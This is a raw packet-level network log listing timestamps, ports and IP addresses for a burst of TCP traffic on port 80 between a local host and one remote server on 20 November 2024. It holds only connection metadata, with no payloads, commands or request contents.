Nov 20, 2024 00:19:20.983268976 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983279943 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983285904 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983290911 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983302116 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983304977 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.983309984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983325958 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983330965 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983335972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983339071 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.983361006 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.983375072 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983380079 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983391047 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983396053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983401060 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983407021 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983417034 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983419895 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.983419895 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.983423948 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983429909 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983437061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983448982 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983465910 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.983639956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983645916 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983652115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983659983 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.983807087 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.983844042 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983850956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983863115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983869076 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983872890 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983886957 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983890057 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983896971 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983899117 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983906031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983907938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983911037 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983916044 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983923912 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983926058 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.983948946 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983956099 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983967066 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983973026 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983978033 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983983994 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983989000 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.983994961 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984000921 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984005928 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984014988 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984016895 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984016895 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984016895 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984020948 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984045029 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984227896 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984402895 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984409094 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984420061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984426022 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984431982 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984438896 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984446049 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984455109 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984544992 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984550953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984560013 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984565973 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984570980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984580994 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984586000 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984591961 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984601974 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984606981 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984611988 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984622955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984643936 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984643936 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984643936 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984697104 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984703064 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984708071 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984714031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984724998 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984757900 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984767914 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984774113 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984775066 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984775066 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984775066 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984780073 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984790087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984796047 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984807968 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984812975 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984818935 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984824896 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984831095 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984833002 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984833002 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984838009 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984850883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.984885931 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.984885931 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.985259056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.985460997 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985469103 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985480070 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985486031 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985491037 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985496044 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985507011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985512972 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985518932 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985528946 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985534906 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985541105 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985551119 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985558033 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985563993 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985572100 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985601902 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985609055 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985620022 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985625982 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985630989 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985636950 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985641956 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985647917 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985657930 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985663891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985670090 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985675097 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985682011 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985702991 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.985703945 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.985703945 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.985703945 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.985703945 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.985703945 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.985738039 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.985749006 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985754967 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985764980 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985771894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985776901 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985783100 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985793114 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985804081 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985809088 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.985816002 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986469984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986470938 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986470938 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986475945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986481905 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986489058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986495018 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986505032 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986510038 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986516953 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986522913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986532927 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986538887 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986543894 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986553907 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986560106 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986563921 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986569881 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986593962 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986607075 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986618996 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986624002 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986628056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986628056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986628056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986628056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986629963 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986637115 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986646891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986653090 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986656904 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986663103 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986665010 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986665010 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986670017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986681938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986689091 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986701965 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986712933 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986717939 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986728907 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986733913 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986740112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986746073 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986756086 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986762047 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986768007 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986773968 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.986814976 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986814976 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986814976 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986839056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.986839056 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.987360954 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.987369061 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.987379074 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.987385035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.987390995 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.987401962 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.987407923 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.987413883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.987423897 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:20.987556934 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:20.987556934 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.010104895 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.015114069 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015125990 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015132904 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015249014 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015255928 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015268087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015274048 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015283108 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015299082 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.015331984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015341043 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015347004 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015352964 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.015353918 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015352964 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.015362024 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015374899 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015381098 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015387058 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015393019 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.015430927 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015443087 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015449047 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015455008 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015460968 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015496016 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.015542984 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.015542984 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.015724897 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015732050 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015743017 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015748024 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015753984 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015759945 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015772104 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015775919 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015783072 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015788078 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015799999 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015805960 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015813112 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015818119 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015830040 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015836000 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.015873909 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.015875101 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.015875101 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.015875101 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016123056 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016129971 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016140938 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016146898 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016151905 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016158104 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016163111 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016168118 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016201973 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016208887 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016215086 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016221046 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016226053 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016227961 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016227961 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016232014 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016239882 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016253948 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016259909 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016264915 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016271114 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016275883 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016283035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016284943 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016284943 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016292095 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016311884 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016436100 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016608000 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016614914 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016627073 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016633034 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016639948 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016689062 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016751051 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016758919 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016763926 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016769886 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016774893 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016782045 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016793013 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016793013 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016798019 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016804934 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016830921 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016830921 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016830921 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016830921 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016838074 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016850948 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016855955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016861916 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016868114 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016880035 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016885996 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016891003 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016897917 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016902924 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.016906023 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.016930103 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.017124891 CET	49765	80	192.168.2.6	185.215.113.16
Nov 20, 2024 00:19:21.017299891 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017316103 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017322063 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017327070 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017446995 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017452955 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017463923 CET	80	49765	185.215.113.16	192.168.2.6
Nov 20, 2024 00:19:21.017471075 CET	80	49765	185.215.113.16	192.168.2.6
